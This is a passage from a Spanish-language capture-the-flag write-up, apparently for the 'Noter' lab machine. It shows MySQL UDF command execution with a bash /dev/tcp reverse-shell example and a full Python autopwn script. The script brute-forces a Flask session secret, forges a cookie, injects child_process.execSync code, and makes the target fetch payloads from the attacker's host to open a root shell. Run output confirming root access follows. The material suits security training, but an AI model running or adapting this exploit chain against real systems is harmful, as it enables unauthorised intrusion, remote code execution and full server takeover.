Filtramos por la palabra sys y encontramos varias funciones, de las cuales usaremos sys_exec. Tambien logramos ver el código gracias al conjunto de compiladoreS de GNU (GNU Compiller Collection) y observamos que la función executara el comando con la función system y retornará como respuesta un código de estado (0 -> exitoso)

Como ya conocemos su nombre y lo que retornará, procedemos a crear la función usando con el nombre adecuado y usando la librería

1
MariaDB [mysql]> create function sys_exec returns integer soname 'lib_mysqludf_sys.so';

Como último paso solo queda pasar como parámetro el comando que queremos ejecutar (e.g ‘bash -c “bash -i >& /dev/tcp/<ip>/<port> 0>&1”’)

1
MariaDB [mysql]> select sys_exec('{command}');

Para seguir practicando hice mi primer script automatizado en python que te da privilegios root aplicando todo lo visto anteriormente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
import sys, signal, argparse, json, time, hashlib, requests, random, string, subprocess, shlex, os
from pwn import *
from itsdangerous import URLSafeTimedSerializer, TimestampSigner, BadSignature
from flask.json.tag import TaggedJSONSerializer

# debugging
import pdb

# ctrl + c
def signal_handler(signum, frame):
    log.failure("Interruption")
    os.system(f'rm {file_name}')
    sys.exit()

signal.signal(signal.SIGINT, signal_handler)

# arguments
parser = argparse.ArgumentParser(description='Get reverse shell')
parser.add_argument('-ip', type=str, required=True, help='ip-address to receive the shell')
parser.add_argument('-port', type=str, required=True, help='local port to receive the shell')
args = parser.parse_args()

# global variables
target_url = 'http://10.10.11.160:5000'
target_session_payload = dict(logged_in=True,username='blue')
file_name = 'pwned.md'
lib_name = 'lib_mysqludf_sys_64.so'
shell_name = 'pwned_mysqlUDF.py'
commands = ['/usr/bin/mkdir /tmp/privesc', 'cd /tmp/privesc; /usr/bin/wget http://{}:{}/{}', '/usr/bin/python3 /tmp/privesc/{} {} {}']

# malicious payload to rce(js)
# - - - - - - - - - - - - - - -
# ---js
#
#     ((require("child_process")).execSync("{reverse shell}"))
#   
# ---

# get random string
def get_random_string(length):
    return ''.join(random.choice(string.ascii_letters) for i in range(length))

# get new user cookie
def get_cookie():
    p = log.progress('Creating user')
    time.sleep(1)
    try:
        s = requests.Session()
        # register
        user = get_random_string(5)
        headers = {'Content-Type':'application/x-www-form-urlencoded'}
        data = '&'.join(('name={d}', 'email={d}@gmail.com', 'username={d}', 'password={d}', 'confirm={d}')).format(d=user)
        s.post(f'{target_url}/register', headers=headers, data=data)
        # login
        data = '&'.join(('username={d}', 'password={d}')).format(d=user)
        s.post(f'{target_url}/login', data=data, headers=headers)
        # get cookie
        session_cookie = s.cookies.get_dict();
        p.success('Username -> {d} , Password -> {d}'.format(d=user))
    except Exception as e:
        p.failure('{} ocurred'.format(e))
    return session_cookie

# create wordlist
def load_wordlist():
    with open('all.txt', 'r') as file:
        wordlist = file.readlines()
    return wordlist

# bruteforce new user cookie
def bruteforce_cookie(wordlist):
    cookie = get_cookie()
    p = log.progress('Starting Brute-force attack')
    time.sleep(1)
    for secret in wordlist:
        secret = secret.strip('\n')
        p.status('{}'.format(secret))
        try:
            serializer = URLSafeTimedSerializer(
                        secret_key=secret,
                        salt='cookie-session',
                        serializer=TaggedJSONSerializer(),
                        signer=TimestampSigner,
                        signer_kwargs={
                                'key_derivation' : 'hmac',
                                'digest_method' : hashlib.sha1
                            }
                        ).loads(cookie['session'])
            log.info('Payload : {}'.format(serializer))
        except BadSignature:
            continue
        log.success("Secret key : {}".format(secret))
        return secret

# craft target cookie
def create_cookie(secret_key):
    time.sleep(1)
    p = log.progress('Creating new cookie with target payload')
    p.status(json.dumps(target_session_payload))
    try:
        serializer =  URLSafeTimedSerializer(
                            secret_key=secret_key, 
                            salt='cookie-session', 
                            serializer=TaggedJSONSerializer(), 
                            signer=TimestampSigner, 
                            signer_kwargs={
                                'key_derivation':'hmac',
                                'digest_method': hashlib.sha1
                                }
                            ).dumps(target_session_payload)
        time.sleep(1)
        log.success('Cookie : {}'.format(serializer))
        return serializer
    except Exception as e:
        p.failure('{} ocurred'.format(e))

# create malicious file
def create_file(command):
    try:
        with open(file_name, 'w') as file:
            b64_command = 'echo "{}" | /usr/bin/base64 -w 0'.format(command)
            payload = subprocess.run(b64_command, capture_output=True, text=True, shell=True).stdout.strip('\n')
            file.write("""---js\n\n\t((require("child_process")).execSync("echo {} | /usr/bin/base64 -d | /bin/bash"))\n\n---""".format(payload))
    except Exception as e:
        print(e)
                                                                    
# get reverse shell
def get_reverse_shell(target_cookie):
    time.sleep(1)
    p = log.progress('Getting reverse shell')
    p.status('IP -> {}, PORT -> {}'.format(args.ip, args.port))
    try:
        # web server to share pwned file
        log.info('Openning port 8000 to share files: {}, {}, {}'.format(file_name, lib_name, shell_name))
        command = '/usr/bin/python3 -m http.server 8000'
        p1 = subprocess.Popen(shlex.split(command), stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        time.sleep(1)
        # web server to receive shell
        log.info('Open the port {p} to receive the shell (e.g : nc -lvnp {p})'.format(p=args.port))
        input('Press ENTER to continue')
        time.sleep(2)
        # upload pwned file
        log.info('Uploading and executing malicious files')
        # create directory
        create_file(commands[0])
        s = requests.Session()
        headers = {'Content-Type':'application/x-www-form-urlencoded'}
        data = 'url=http://{}:8000/{}'.format(args.ip, file_name)
        cookie = dict(session=target_cookie)
        os.system("rm pwned.md")
        s.post(f'{target_url}/export_note_remote', data=data, headers=headers, cookies=cookie)
        # enter directory and download malicious library
        create_file(commands[1].format(args.ip, 8000, lib_name))
        s.post(f'{target_url}/export_note_remote', data=data, headers=headers, cookies=cookie)
        os.system("rm pwned.md")
        # enter directory and download shell code
        create_file(commands[1].format(args.ip, 8000, shell_name))
        s.post(f'{target_url}/export_note_remote', data=data, headers=headers, cookies=cookie)
        os.system("rm pwned.md")
        # execute shell code to receive shell like root
        create_file(commands[2].format(shell_name, args.ip, args.port))
        s.post(f'{target_url}/export_note_remote', data=data, headers=headers, cookies=cookie)
        # kill subprocess
        p1.kill()
    except Exception as e:
        p.failure('{} ocurred'.format(e))

if __name__ == '__main__':
    key = bruteforce_cookie(load_wordlist())
    target_cookie = create_cookie(key)
    get_reverse_shell(target_cookie)
    os.system(f'rm {file_name}')

# References
#---------------------------------------------------
#https://github.com/Paradoxis/Flask-Unsign
#https://github.com/Paradoxis/Flask-Unsign-Wordlist

Puede encontrar el script y archivos necesarios en mi repositorio https://github.com/E1P0TR0

Ahora solo lo ejecutamos, abrimos el puerto especificado para recibir la shell y conseguimos la flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
❯ python3 autopwned.py -ip 10.10.14.181 -port 1234
[+] Creating user: Username -> Jnxzx , Password -> Jnxzx
[ ] Starting Brute-force attack: secret123
[*] Payload : {'logged_in': True, 'username': 'Jnxzx'}
[+] Secret key : secret123
[q] Creating new cookie with target payload: {"logged_in": true, "username": "blue"}
[+] Cookie : eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YtTLNQ.TRLb4J_17aC1S6X1caMAvGGV7vQ
[▖] Getting reverse shell: IP -> 10.10.14.181, PORT -> 1234
[*] Openning port 8000 to share files: pwned.md, lib_mysqludf_sys_64.so, pwned_mysqlUDF.py
[*] Open the port 1234 to receive the shell (e.g : nc -lvnp 1234)
Press ENTER to continue
[*] Uploading and executing malicious files


───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ nc -lvnp 1234
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.11.160.
Ncat: Connection from 10.10.11.160:59678.
bash: cannot set terminal process group (967): Inappropriate ioctl for device
bash: no job control in this shell
root@noter:/var/lib/mysql# whoami
whoami
root
root@noter:/var/lib/mysql# find / -name root.txt | xargs ls -l
find / -name root.txt | xargs ls -l
-rw-r----- 1 root root 33 Jul 17 21:40 /root/root.txt

This post is licensed under CC BY 4.0 by the author.